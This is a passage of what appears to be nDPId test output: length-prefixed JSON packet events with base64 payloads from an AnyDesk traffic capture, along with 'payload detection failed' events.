3Z6ue8RHmhSOEWq0\/THlGogSXwemFR5avP0nt3U0K5Zx9toqYz8Z2tQv6ulvyCJgjcy5oKcTug6o0hXsrJJrZmIx701Zm0YQZMLv9yIM0GWD9rKjGFPhczjsbMP5Sxa39D\/vYfXR7oPuQ7K6wp66yuH+VjzT57Gr8QYgFCN6rcpZsIM4pGZaljeDXWy1yIkRE13R8QTzN8T1kNxaLi6SqbmuYJqRAE3Ytrra7eu0oCEy3UFBEXDjJJKFndlsjhkcXqaXFXw1zGdI0j7mViTmJUJyxfIJjkU6DmYuwYPRqUJ5EiLIRVOGCqP0PyECi8eDEuTXdYrI7cEBUYGsA+vWkFO8Ee3iKLSAUpFtxelEiUQd6pjIQpEEHaFW6KIT4A82DWRkZinlRB4YQmJlJ+UP7sk\/ff50zZcl7BATzPn7yXJN71I9c4Q\/0KynMzRNoFxMkblb\/05dSag4EwFE1U\/9kOjKyius690ZHrGhMqeVAsOtGQlyIrrJeT6CKmtD0rHiyFoDW0X8gJMQSzM0XIHcagt+9x8lwWXMP9aGq9L+9ycMmtulxi0SVJFDxcTqYtYAL7V4ip+mYtTapc1nymhoGLnU4kWoaHwN3h5OOyMTGBemZghORsbTTz8GipjhZ81RWORCNb9XT6PH6sEPXv90QfNg9EYHXIQf07B\/fYwqZpQ7i1WwVyDb4fjcicPMT4HpDCL1rz6KaN1XTpeEwAK3d0sKpOc72UfRNrDjwpnEGhTNEK3aUrSEqG7J9exTDtvejxQmQQXrGk62SgOKo0ftC3xaxDLoiN5marp8ijMZyQaHuVD2pl+CFv9xEe0kSFPIkTCyRoSMmvgw\/gkVWMrBODNibRIv7fYjkUsVaJleIUHnv9+Rlts+sWaNf9cFB1OBdRGnrvlSen5++CKm3+3y0SK6XPux\/LOCsXVW3REXu39VG6kTqfiHdVhBzZ2LvVCpW8p7Q0U7gqvODWqMuHI9QHssD+ZCE4zIdx39aPTGU1RnFG\/d6rro8TIZ\/l0zZ2VZOfqQGAlu\/HAc48KIIOYYI62gTzM7TvCyZrdI9+4YHaELFhqOMd7fMfo4uHR+osyAj4AWF3zgBFseW8qc5NhzkJJNxYpL7p7Vmn2aWd5QVthGxULl3+v2w28zwZFcbIYu9tWBbh0TijAn\/gFYCXmuAT9VycsP6gItsI7eXszBqek8HUrehvglMh9gmm9HyEG0WaHMp4ZlzWdmFoqBKuN3N3gk5e\/OUFz3RFRelF3YLQZf4ZdhYTeVEOxYukaGgJga2aPEQ4VNlN+opDD9RmkeFE+vGSrS4ckh8ZoZCthBSjY5qw64byJmX4j19\/LC2lrJzOCaxyM\/8W5SaduHzcKMoHSck5SOjyZqe\/GTMwSli26weVraOY0xvJS7eJvBKfj1tg51gvCpenfnvxc8D1NwWS8bcN\/wXICruCg\/UENrlh0pPPaAkxVkHD3NlRH\/LQfRG1u1lO+FKYxv1d4+sJleI4WRKmOlPsp3KNLnaJSa2pVgdbuq0ndApRT6euLQ07EeKJ1Hg964o8X7SPJpGz3vu1Ac5EGVywy6IXAcaRABhNuSLmZJOsa3epeV\/upg5a9XPzn1eWH+gxxWzV1whOwFCtnsmBUkU9T6sjYAliZHtDlfAg2a18N7aFEgh0bUkM57+pswDFEQuF3GTIOxaVbRjmGCql1+ZoZMYm6CxAUeVmUkDbtCyWzUi31E2rr3mbyUh95YFr3EKb9gDs9+KT\/QaAnOo3E+eoHBwC+ryHezJaRBK83VlPu2qme8bW8hvCRTSnJOYPj\/bFDG+oNNduWp1ujR4n5rnjX\/XeaDn+Ky\/jkBO2wddA7OO4BKHzzZ2cpA0iIvSq1lfgROQeZf\/TOWrzGwFwDvzrz2JD+2zvBwumUnncfmtACSxpvn2vCwvh8NHTVLHXAHDxLe6CutvILhjSLDDNVotXBbTEr0njkvxlEVxN4kFWbDtCBzZby6pe32fCvbBCWw1PYug3f6oZNY\/PrBMSOUdCAe0jZjrqU8WVIlUZ4n3Gr5eIuh2g2noAxHO7ShHHD2fTQr5jYgL15t0lX+zMhbsDJH+pQOP1IonmvKZ3u8thXPLH\/658Lj3z7Gsprfw+HTzDvLQePoa71vGUdh0OPZl7UdlHC\/y9CwNgnb3hqroq3LWng8uZDbPQ+2dbkPrqrg7LhtdOlhcsrGJ1PvmPs1hnjGGqWsKcy0NOgdUi3INwBx9EfX3mUBDR0O5JAdpkdnD3PH\/pVDrYX80oidU9uPlZU3LPMDnujA\/sKotTcajlWiUTgpVihVGsvYd4rxl8CP78v2j4zSsHp0V19VWoTQT02UQtm5OkauwWzfrmhx19Ncw1Xc\/lP1ievApW4aZp42xeAo7g7Xj806q3Dq0Rx7NB\/QdlFI1U3fYTTskGC+Ky5xFXkKgKRP+7NXb2veml5uXKFG5OVN\/uXVcPEHP2aWFM\/4Sl1MOzxVOUCy8f1DPrGJ3ko+NfAnDVeMK2KmUKGwhIDnZ+YDp9A839SqdJy8HV8EvTGAi1kysfsTF4xg2EBptCBQEDk62TKfbCo7+7HFUufhGqswGZaIg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1429,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3186} +04903{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1431,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":290451,"pkt_caplen":3385,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3385,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfvdAAIAGAADAqAG7wKgBstOUG56PJ0AvWcQ0JFAYIA6ExAAAFwMDDP5Z4hNO+msWGXPzxZPk08qBt9pbVjOlSwCZbbUYkyCBVUxj5X3wcygoiU1Zd3k3kK2rWAIQyS+JqBf4wmPqxDsDtC46qM+oeivrZyr2AeIILQA7uPV9r3Z7Y8B1jnVD7yBMFjDR2CcdiEgIG0hjxC1ccOnmWZOG6MGbogj7NXnsPlxvVKOn04n7Q8BCtq3opqxRt7F0FWOXX0ho9W56FMvpGZek0txRE1KC7AJ83M9p\/7JVW5ufoS2sBfBXMsJPXp7W4Gst9SZ8TzaKwGM6PnOKkG6LCyL\/NMhufX2zwctszaE91vnybv\/ziKjcMdoGhUcepZgpwxoUBMibjh+pHTv3Z9lXYyyjHGT6J6UkEv0exNdehiVCZjtu7eDwPIY66U9ytha151weA3HVqvvFOLyqrUkvgOt7RXUlbW1Qhbprhsw7W5zTz8HvGdrrUYR4kwjLnNey0vR9jH8ZLqJxh7Ql9DpJhbg4BUlxPJn884+OOln4zGQmvB7GOsL+XcF3JBzevN45m6kP\/M9b0Z1+PI1\/yzp1dlOjtwTBdEAx6Jxp9H\/yk\/CP1\/0BhDJlo6Bp9NckrSQNSIkumbsY\/wP2G5DpCgj6jCoo7T7yzm\/pN4OfQ4LUe6DGWK\/MgvI3kWxS3zFev1Pc0SAHOsFIn4NsjZpLQpU6985nMJKS1MNe4SWg6Mn7cJptuwvB5NUQDE2l6Bub6\/hOCHx4+8GzVuUv61NYUD0ebnHGFTPoy8hmuiT80rNGdJqUuHmxcZWZ4H6HBKMyWTydLRlsqaQGoFZTXH0qz3KT4xzHxaDb6NI5RR1SGlopc1TqWN7hRavjJFObRjL5ZqZAiXcRIzD9SrZH4cCWES6AR1ZvTl7NN+NP\/FcemeUtzpyL53khjHwiYmKfCfYzoyNm2185AtB2UQGRZxpehABZ93EI6beMtE8DnMQbgim+gzTqqYpqMAkqkynokySornHfVysHhevWJk55Lj02ZHdqZE76gOZ\/RuB\/funxcaqmXj987+JebP2BlDxVELa0DbIn\/AeAgyixLoIaretHGpCyuO29gGKQFlIiT6wZDacwPr9gypg\/ugHjXbOGLxZlC3ITL0UDI90+28zqrcDKGd9gZT6XyROilg7Id9gLs5j\/VNewyjSYltCmlis2XvQCyxzsHAnn\/+TTkpDJYSlO1Dtmnhr4f8XHASOOCm1XAJuus+wp1lZDr0\/4MyP+nHOWVbtAUHyIjntsoQEQ8hF8j\/74D8cqgTjWc5a5WLC8j72EP4DMgnjvNwaVSBdTyhGVHggRSgCbBRwdCYX4\/qOjLlsP52W6gqYcZYgKlM9xPw5W\/34wPjEn79sFbjg2T9Bo26zeJt8jc4W1twQgbr6LQe2\/9qDxf02\/Hiu0h2d23\/WdHK+Lwg72MN0uZxOgJzFczcMcNyuwdwoSRFt6zIYF5Rsx9KzkrggC0oLuYyLdaekbOEBcNooZW4A0NAiG\/f\/u+RbsjRfAPtUiHQIyy205nirWvd\/CdrmGKgP85LdBlAxsIBiiBjhcHdiIuLNNR7Dt0mGFiA6n74ON3XzhpW\/1rN5PM3cEKwZtJHkcIjBPROi12Oe416vkMRXD\/mLEURqzTLicb6Pm6Xj7pJUk3+6+eu0ZxPkzwDxWhkXf+XWtI1ppyx5DYkWEgF\/O30EZuSkJ8zeo1msEz92TIRJSsT8gsvfjuSBHEysS\/43nBb\/o0lbhz5\/ijqZKfM60AkwrunPApIUCd59yOKWvq7DepdJzDff8qem8BIyKX2A8CQBkf\/6gCNUPZBoMT15RPNyYNLP1irCPJXNExMI2W1Ty8Gs+nBmWnV7uBRV7oaKFxXgoi1XgiTm23zp2BVYp9WhtsADEDzOKy4SjYIPoeb6wUqcgD6v9c2MmuXc3X3yLNf6oNmOn7idrqrr5gnClHSw4TjpImOmAB2yQM0SZWhN5o4mxnaXasrLPuUhTs1bikBdv8e9FrX1n+O8WTPoIa0u82yO0eA3Tb4RLpn1dQ\/LaYXsUtXY2ZSsYNwWDZ2968MAgFL\/ynhfju6vR1OfWxIuio0\/fAYMFugqt128cE8Ta7rzLEnshIt8FEyFmOUtjDsfGahLE5L35X8P9xv1bFD8h+1cUbOq2X5Al35R1lauJOTcB1PotY+i3VaApD2dUR5\/493tsC1f86xta9QyWhh4P19pBRMHMUlrnfVIDuVb9V9gsQI8fNPF9Yd6wq6vcX3\/eJzzM88lQ9mzRIxku9dunV+wz3PU\/V8KAo6NaO90\/Kio6gaOa2Pfg0sa4Xsg8wkwXbjdB2sT+36fALpX9Qu77xsfcOsp0MDh\/UPe2p8usPtVvYxrzQbCxaAyvQUwIe\/goN3vdPFE5lFC6Ft1c3uUECO91z+ygq37IeTZZQiHEY23RD7Qil6Hj\/9Y1jnQrX\/2tq1z134cf\/c\/r4eFdjUFfK6UJcOaud8qcMBqlTGBL1MdoXeSAiFYudLsNcC9CnL4ngbxbUSZFX+DkiaPGO4Ngvn89ko5N5C013NjB2+UNSsV6rdYV5CDgDTg2frhOqlwbqL09bweMgd9OL7bMw8Ic+WRAO\/ZRgDeQ2JQE5wq9Lt4QQrbTvfN83bf2VNLiJZmpadGbzaYGV5iEIqCP7UGDwwl5ROXdZedr6SThTbvQvaToKbZo2ZLgKUW4Qm1F62KrbmdnlLaErK7WXZ2G3mYh1mWLCd1qI6CZ3HJZUcE43KvKYxICc3o3CVWRFc\/61klcZW7w6tA1IexQORyBE5oS4snAaYyEcD6rDrclNpyqnR\/0RHyzdJL7y7LvckRq2EhAU9Warj996p9D+bu\/m4GnyPN9qy3WPkkfmrr\/Iq87e6jbM9gBYfZ2VIA85Jp51uW7zFRMoNF\/wGAgCCmc41mZgchKADLkBdrZwHyeyqqUwy2YyaFRFgpqHck5Dj2uO5gmovqwjNubYIK+e8UMyH\/qn3pI4zeze022nQqyWf\/1Fx6aIDzCWXKyaqtNEhIuYQmePLt2Q16vUZCHU0bkb13AcrptwgJUXCsBq+vw5Nl571D0RVoVzwJGqnQnv4OPwsVXRe0YoYJUnI0CeVUYCrG0y2e07Ru3tr2GfJOcY6k8\/6XljuQgyAlU1\/1k\/eRxAYaU5h3S\/LZ\/VxEmxfKEvXgt4PYQBa7QfHT3+y8YcO4vbbCvOqXY7Ydf3\/SWYiHL8voHHR0+4mIunXAXqcw34mHrNL8tZLeRki7fCdKjwfli6rB6D15xPbyIXWZOJ\/rJPGyg7FRrV4cUyoi38bDsptnlisDrlnii5+q4J4t\/zaQlKwLkRI0dHxP7o\/q48cZfqt+kMMUr+8fDj8jxHDDwklyP6IHwljEO+xXu\/IECTyab1efIUu4MjX2dsvxA23sVcoM4B26flXol8KKqIsheU5O7euErdQNMPfH9pSw\/258CAw5IJcJgGLgyHpxOA5fdL\/q\/YyZ\/6hHgIecwP7ZGVzg3cq352LIQFnAVE9crNFtdObB7hihoZZ4BcOFEpy5yT3\/aNjaS+bXlOlOOFq5psC4Kz2FsThl1o6GjRDiHyde7v3tzoFCZyUaXaP5g66+1ihFhdjcd2998q5V0wkUcgrT43hStdrM1rYWs43uEzjtxr2klamcRuZEdsQKJJnva9GSVIzmKCgv0yCJZcMRssgziEpNaNKWjtOYwdyVA6TuNQrhBzOJATNm6zybdQS5PrReJ\/DP8CeG+81t1VnxJms6TgIxb9bThcZ2fE39mwlGvStvLIYHCYCCoLjCQJ0VNNRwN4attrtKXiv8V0FGAwBFrbQG1OkGjRjLx0LxIzlV4N2v2z3RMFkl2TZpyBmEDO7I3tfRMpHtnFFn+rf9QFHop6Kwpz3BF5MnsJmtVawuayXxLriux0DO6O0xqryme1JSIFz4KyJFCSUb\/VMiomL1raSFfIQNB9YKu1HA\/TlneX3WewOFDxBDY2JrHylJGYoAJ+KOk8m0SYqO2vHEBAnZvNMjzJVVO4t16mAp+yTnGroz006OePbNSBR2XA+Bjl2h5sJutvYCGNFRVrDgPHEPG8ngbpItQHkswtJlEze0h9m+sy09q8hiebLKpIgTLF\/EeytTrMidroVqjTAg9ePFdofqBRHaSaLpFRNO+ZsWf3gDc5pi2VcSTb1YAO6tMpploRMy6E9tYrd3XAUCFNQNBVFN90TYPfavVY7Omj7mGWu8tIlcxSgbf63pGcUKzjiKlgkthsqOv0bIEIdyZrwAUM\/tzJ0nU0vbcn\/e5zDKA9km4qUX60kDen5UPHv5Js\/uhZT5\/Aav55MnprCqoIcFFO8AaKabRoGk\/7KWNW+PstByXN7hR9J5UKdJAXG91bzWXzWxDEVdXpF0bdDDIRNEYukFb7YgVGsrnhBS9fUuK+5UBxaO75IhopBHqlO50WWRb3X6M3JQ8h0JE\/rki0YFMjTl0meDz4QkV+2hPuiWf8A=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1431,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3351} +03808{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1438,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":321648,"pkt_caplen":2595,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2595,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfxJAAIAGAADAqAG7wKgBstOUG56PJ1JYWcQ0glAYIBSExAAAFwMDCehZ4hNO+msWG7cu+RLGwNv8mtbEGjbNxAILOvjL2F6hgShcGAvLM6Xv\/K0D+GrPt9yn+n0oXxt3VsxwC1xnDhUYoXRyjYKOQjX\/\/AxAiida4o8m+dl20x1C4HWmnR6n7FZjRkuEldD3fCSeSmtFyl7XFBmF7WaLQmhYmHMHmWExsnjoljJpsEjaUf+qAfB0kycASZofYUYePU6Dt5+3zI09bZTlC9zbQEst3+Mh6CoWAcn7KVuBT\/wseRGvK8SRy4zCgpSLytqS7Z432kr8eKyWzko6J2amgGsD+v0wVpkauIH8FzL6KiLmbn\/sYgX05k4mE+TkTs9m0\/IR57YnY7CEJZQxx4KrtBAh+MwyvEdxnwyl\/Pl7S3\/V2rYSLlbn+Z4GG440iPsWzAuyjf3f1XXxCzdPb4vM5vX+7RcmyXDGs2Wwo0ZJBbb5fPS+uSPGbs1\/OFHLbX5SCqRecgVaYJt4pmiR1bOeNHC12NwrRqHcfgSGZGSmcBMqa8eLHYP3ePsvGKOmizVIMWPHd8dgpFz+74hblK9va26PP\/6KvzNO+uW5ZNJsnQcV4FrKLYLJ06MFgLtUa+LJAmFNjGqep8fy6VWyUgSdnOn4m3aF7T8LRZ9pe0k\/52V+UBkkRRXFDOQgdOZjwMRa0+bYl\/YF2f5W2uEJUFMyB1uayLU8X7Q02pWLv9eAcX76Lc1\/sojKTAmYKgytOfxiFgWqCXClARosA6OUMqkmMD4WA7vYCuM5MlfHovz+uNGhEinUxjqLWRAfKfXkSueh+A7C6HV4k+M23P3zjor3AFScwyKkJWWjAK3i6W17qz7RCsipzBPKPuRj0ApE3hi8Z1WFDjr3AVeqbLGQq9cZMjAElV+JL4dIOpzgkwuWerlu862c6zeM1Qv4JN6hf\/i+6WKq7E0thKh2FT20oiw\/MtZ4Esm14+WBm1cEUp8t+fYXMtfeUCFVFznAmfEaHcu2X3tWMvGRnFtT\/5TcBUqgraGzFtCDUJEgd+ztJve7LKghiLpZYZ6UB2w+Zc9Ba3lxVj94XojZgRBtjGmC9Z62utrinrJO2G93ntbHPb7WG\/Te7S9yKQRGuiZc8AKJbDo5lANoraW73RU4a\/rUxL\/vEQuOms3HMP+wkz2NWo392cVtiYsjhXvyWXFQXR9K8GMZKciyMpMVaRigdva2c29h1gFVBLoEWxiCi2NRe4XzdywYlnFlryGCsYFscHf6uCsxm2T1Zlc3i\/reSmlnu2mtx5Lm5SYT9rJbRjhJKKlLU5NMZ9O2VaD4stX\/Hz0tAmjhvvGuW+jVVoLb7pHNx+XrMo9iZ5qbGDYIa18VhNFgYqCfN70Yf\/xYqxnFfydHBycWJQ7KjW6VgWXEIYteSfazA107t5QX0IMaJlqAYYDoZsw0XXKP\/TVzpDz7fGzYoQBPCOb0uDs3mqmYDL5icAkGNYXFM0lVmWWPfvG5G55xY0NHizIdtjcFa\/VP6ZCC1iQMem3Z0w9CSjmnLi2IT3j5lu7ZRih8oEOLYUTXPxCseN28sSE7DQNrjoHPvMDnyIOz7NCNJm0KivLqQuJMiYEvf1iPqVQTpQ8giiKUplCB6cJ3Pgvljq\/3thIRLtPMptI3u3nQLD6nCb7FAjMOWoCHLgbNEBRJspyBYSBKrN+ZSgCseRwkVqiArrnPNOkRyWoV5o2ZSyu58E7aHafIyBcdXPvEmmNqsnvQ1rxVHSX6fOEzoOnHgEUS7KY9OAL8WpCeyBgyU8FX4QoSPBrlGpjKEK\/FHajBlDGSOcfGbyUpir2+O9Zz3M7rutq4ZWwv8CKJEkr9axZZ6jATq9mYCNfh5QWNHYYMc9\/xqTZqXIrtFxwdeQxBIAfXzcSSdlOBrob7iCVNJzxRxgiRPw071S5My5nhZfrP+ZX9\/4UYHg0k6351fNE9KaS4QtGvE\/NhrplDr7L9eUODbkrEYYF9YUJIiAWybLKFE4snTHzCsDxvBuM+KYVyiwim66Q3aSzaJua6DEXDZx5XaEUS8D0jhPZPMqZp\/O43kk2mwVPeG73jc2Hhq48sMah1RVj38bXNKEy5RexfjK0WA+dTLxrGQi1md2z1BNehluClhCqMxxQKMzD3mpCcJydY2uBCVmbFHA4E+9qGLXWfGNDCJvXVgM0z212Zyq7HGyk+SgKILv25STuJaRkSjv9yFf+WFgzB03aQa9jGmpcB8uzX7JBwOiJJHiExz5P1t7UbJkp4ZrdJhv1StKHsSbHl17yzWmriMh\/YOJ5VkOd99x4MzKHFq9MrDyDuynveOF8+fiPR6kQC\/YCKEPgGYXlN5G6li+7ZS3MPoNuTNK9AQWuAnoqdrrgoO\/yMnVwoeH9VQw9HLf1sJb2R1xXq8tmxERxabgqlMukrN7ZvSxnCEckriyOJ7H0d6rDLFqq8UR9NSnkknK6Rb26RAXYTBHQHaqcNML0jgcgqGI3X0GMZ6HVOmDVlytvs3f5l69ut3fAxG5FAD0V5Z5sk5L9U+Fc1j4iYBWZO7iRVj\/DIrz0KFVrdt+u66beZUDCAldGheGo\/1N2P6crDvXvhw1bFK1GmbA093GGm8P4CUJGlVtoxyxuZj4vcedglAGYn6JKLJsGfavAyaEfhp\/aZC7U5VGbkvLtwllSLvhx9tGu2RL6UadHI+rUGsO27VNJG7HhiMfVtw0sX2W2\/vVjOMzn56cIdgclgI42ldDqAWRbCHC9H30ADc6W23miWPvjFlfIGoI\/FPHMTSK2Ma+ugZl0UVdirJ2bi0cp+aj4eJsjuVd8J17dDDOUTueXsBfFYHHGYtNCOK3IPSr9KcbtGhWshJtQ9a0qVNpr6KWoxVNqknQXIUuArKSsi7Jetbetcp8+XePvIXqe8YPBDfh08gn2FvrWa+NkswKYvbCihBK2eQ3cMzAhVx4RgxxX5TNaOaLugKzDH\/fBsZ9i0HvfSWobR9iwUqlJb2lwu0KS3TIXTzLmM+phosMuSBajeCmAPHK41DKEFrX5BkvHYkpXSWonzH7Qdo1pg2Q750QQW5aWMnoUY0XqO\/3dnMHqWcimoBHGuBri+3lk4uP0pkaqZPRJWCbqA9ZTYoTLhTyQBmDePB2IPQa+tnSrQf\/J+A5Fc3+g+Lx0cXL90rhAeWTNqQNYRU9rPAmzRkXjxAMsWlwB47nosun6BorJYuPLiJoPvYQD8CDGonGpQn232Mj+Bkspiwz9IqhOxgMZGlRkULrgpODkzu0xExxG\/UEAXu8OKXiB1lV+gmPCLBmikrb6nwTnriS+wrPBNKpdEwcfZvvTJA7PMMR8tXqCuWhgi+8fI98SO+lsCKw2oLStYQMk0Fk3D0QtIyB\/Y1KKwqbnYmRNfoJVe+h2u6H5H2vWQMKztFhulLQY8iC6iXuo8K24m"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1438,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2561} +04694{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1440,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":321868,"pkt_caplen":3248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3248,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfxRAAIAGAADAqAG7wKgBstOUG56PJ1xFWcQ0glAYIBSExAAAFwMDDHVZ4hNO+msWHGNnAsUr1ViFiyVBmsuDCidYoJ1atma0tCuZVgtg\/5EK3TycOdCUdytWGwDtaf07kK8BnFHDtl+E4RckEkNwUEJjIhtSNbaPVgwRZO0MhSjF9diEpG26XPb5hdfdm8qXJ8L\/BjN4m4X2YxnhhcXPcfi7Nkks6oJ8tdVBLQrFtY2gbBcjeRdwXULaKyKUhZuCYVpDw\/p7XR2NZBzOjHWzr7qrb8Y7tS5PlgWrjZ5cQtRbhSbwN4TG9kWZh9AOj2kAhpbVsBhOBddqj1nKtYze0OXKJ9JJNzAjvhIaJpEalkiZ2X9SXHJmDHfyypg\/rc5YZG5QP60lmGYnjses5DCogYTg2hFeVzxJkD8Amtu1B81HDXPMJMXIrYy6W3vDVFWxIx76ReJ9WfmVHg3D+1F5tGGstDdlKQTTsyqdH4d1Un6zDZdN\/3zwVGz+Q2rI4I6ZsJwaQzzg3vVmR1rcmj31TWKeTOtyoWkudYLYLVh799iCq3NGrqwoFI3Fa38A1Lt5YOTbNc29BDxSdqtxjWilqtOBf8u7tdT7MEFlc8trqN6mvDa02Q9\/RZdarEKFUM76kYkc8MY3u9ue7eG5ssrpVK4+4xJqy\/6zJJxTo3Cn+ryWb17ArLqAuR5oyb0me1ZcSo1XptNQ5a6Dxu2vXChsBBdkvaIDJwcqy+CFsgDY5JKdXMfpvTTlpD8A3zxSgzQq0owB0MstRqB6bzM9iX67DPkzbhs4slATfTEETIoA5xCsLrJ2wR+7\/1DaPzRCInjskmdPmWzknj4BP4n32WTt3bh6J+9T3UHlGtqE+f\/EZ15TtYdqKqQ3MPAnxEfnHSj7Eb8aoMd8QDl6sfrp2dGRD62r6fIezw4xdmiDBghS5Xajk1JNzsb1S77rn+M9U0OFQjOemwVSKGwbbkFZspJDy59QBJCm9H0QQgyKnLPcL\/NvsmoIxT0\/wNtOJCXOZ\/bIrj3+UXSfYzzZOyBK5Z3z9wQAsuwvgfDjTWHQOEJSusxwqvYgTB7NDx2EGFyB+D2w8hxFo9JNR06SShd9Uz2bRZVwN8TuXD4AnaXnxFPiSSjeJwRTk9dh8ReEnt9pXuDNRTZU1p2tFdjnU0fdGlHYliVZL29HrrVC135Q006hNKSbb+WbnyhO+yQMYCAAaxWrtV0QiOVAkdj2tKRNa3gf4ltLi2p0Ema5+fWnJyAeeekWDdcsg10ArWxZxSr1fUDkRAMVBbSe5IBLOwDf3etUNRYUEa16AkZvIWaU9E+xiVbDB00hkDbTZv3qUq6x+MKvknMvMPh68UfHjZ36b8JgI0hX48eBeWlfYWw5+dUti8A072FYls1xPVPKSHszgbwbpIcU1u2x8appOubs0bcTH7DoVTizEribwYTsD4MnxrjWxIM\/y37DYNK16rbWyg40BgllNYa93glQXsdcI\/e9Ccc\/NldGrhrYwMs7erBwZrxHyVMzZLbD8RN0yrixf5Oz0xZS9mcpAG4TXiEmbSHlWO1AV2IW1WEcFqRNnIdI9OPnZ1Z55xdDLCScwvGpy0a6oKsP9Lcy09EbIdrVjoCVG4TjRw3VG\/X85jLBAWlPnnIJufHsYw4gwQNwWFFI3uYU+DTqMD0q7pxqM9FDxi6brdY6EZIJXqkruKlNWiTerzhyhGxo5ToxuWkkLzYYBxnpLV90HEF5ikYMy6XBIjn7jCLBb4VAs\/dCAhRQDUA+esu24xrBqOP3rB3juo2MeZniH8DHPa+OueOwrWv78yTeoF4HNZxuKCd\/6QDGe3VI5Cn8Fwc2aROrWMyK2+QhU6J+Z4ggVTY6wTKiEijviinS+1wK8hfxdBGan+eJBvHcQetRUv3uOe37s3n+Ec2VATl5GNsZrIj7ORTwu7PGNg2MbZnS5xRJLufGMACRGKl+yE6iT\/0YC9zzD1UTmLGAHUmBFsqeK2fLRvttUn5gpfnNEKa4kHfjeVUieaTZgyYV2L6s6enghcuVevMjVGkUyIk9QrR0Wfdd1nDQEtdpIZPOu1IN+MQwvFoRr+H1YEbZTQHHvBtKsWhMmWmGqvoe\/lQBsbLImUcobdvXwL1kCvZi54x29k8PdepdA263oFFWQtH39AoZnEj10caDDMRy3NRn6nm2X\/f1BwENt9PskcDEHy9f0zGwuGlCPojVpKjDskhDmGQlecHffPRQqYqJDqVU+r\/d1XiN+wssQV8\/yvVAGgYJSgZnLmAkh8NXzCyCt52UGaDwzytTrCNq59YqOrguRwJX6OuJPCgP7t4AXWO\/j9gu+HiMek9bY9Z6ULjkxu00YmG5FXlLcb8+TJ1KT5if8ecZF7kNkNz6W6flFKdHzTMTwJ57xYhyA\/pwahW7QHIKlvThtid+Ou6XWUO+LVfG5Ld73oojrMY7pqJAU6OYpOxHfHN6nHvadgbyp23WWvAAdidfk\/bIcyn5zTJNHXKhIkyJkYF3RVEoI3E5x5r3c6gZLCIDKb1sb7y2ATUDDYfdjNFj6BlXmiO\/dztWiUxSl0N77rDEj8650TA8kwf6Wlf85oy0mjzrriXtShrHdfhTV4E\/v\/ErAmUYg6e95vtysU\/g7ZtdwJkurEdVD0SI68Klbzg9ru1xalj\/0fJK0ENDKg9wAsTvIhe6U93aqm\/\/OPguWXLtaxQ8e3+BE7TF4F0umzwa3vw2txT+8K3asVU3XVBUdBV6WnWv+8O3CBmj\/qmM5DRwi58t3z3U0caLdny+Zo7M1lwQgZuaUAnB6W2fWeis27bou5kItVK1a4qn6BVufFF6Figljr+cna92D6IzyPIzdNyD\/j2KYyTivTxeJk56Jd76HdJ3L6Cwz\/5my\/h5xhU24p8U+e1o12CUp+pz1TE2h+tJ3JktGhyxysJhNyZM0fvREwuddpY5YrpZU3j+QpF\/DO+QQF\/1tO5hY06lgQ\/U1dryZS7eG22CQo3N\/gRo4amjjZ\/zXsp6BwGs5pvxezgjfGt2ymo374bHZpVPbO55kEwY9V8VfjVLXQh2\/9NkoRVNqVZzTQJ1LXsbJCbw91Z0dnIi9pqOBN+O0W47EzFsZklrbMry3tG\/qgJaPQG9tXTwGU0AAS+eEQPeJ2a6mdDPLsLvUy77FtT8lTHowNrqKH2sJ\/W3Iq1M4ZIq5iEQrQfJNHJMyQmWeg4EHsuD7DiNTX3NDeedhgLCWnBG6NnfTRMgqiYdhYXXTlByQck1M+RzuZqd9eAjDUMPtcCwj25tyPACscwetR6u32JUywXV0CXI5tAoj5Gs3QvZGq2jqIONnogur4veMm+pirx1bqYs+llFOp88wF8kufv8tbjOBobRRWV3X7E0oxm5+8TIn6n3Fc2ZrVYLYnjO5BvndVcDnr63dP5KdQ8hgmjf7D5lE5jHjkSte7DcI59or75g2UJOYolP7fWkkRrI1ST8gZ4HgeQhR+xs71g0KEbLRva\/4o5I9bxgvg0o+CTlhyzjkMnwY\/QhRmGlnAviD5u+s\/qoee4nwXrn9EossRzmcFbL6KEvJal0kUHERKHtU4p7m0V8RApYg9alTLOT4pxkQ46h0SXvKFSiqB2wSqnOycIy1b+9BMD+aoQexzK35pDtbR0wTb6BLxL72uKeiZLHaaonxXvVpCQIKoiKKY5MmueIta1m7AYrw4HWx7JJy2equzBRAhfSBcSmpv1Gj\/QxUZx9hv9zoHVDxulQ4a61vVHpQutSn+nZK0XtVMsgWYnC5FN\/KJUZR2iK1mfIuVyW6rXe\/4xVVyG59isX4t5LRsK9v456KIuNtXR0B6N5WpN4mHumOR1tITh8BZfoEKTI\/WqH7fIVJSh5hFog1nETk6aOx0Flzf2aM\/Y4DC2xx1v8aTlp1kKtHPhhNAE9tgcUkBl0+Qytvq0UiwKJifGZrdpUqRrtnKaZ8cF2GYS8vTEYToXdU5oa8KBG2rR+1xXydbTsOwJxtvqV0dy6gr1jkwOUty6Ud7hkflJPHOtDHspPcy44n4sFofo4lXnnj8COicWeMkB943eEMxrS44Agvdur+K4c4baK6xdP5BSku1vpgfEigL06yUh5LK4dWyV7Dzwk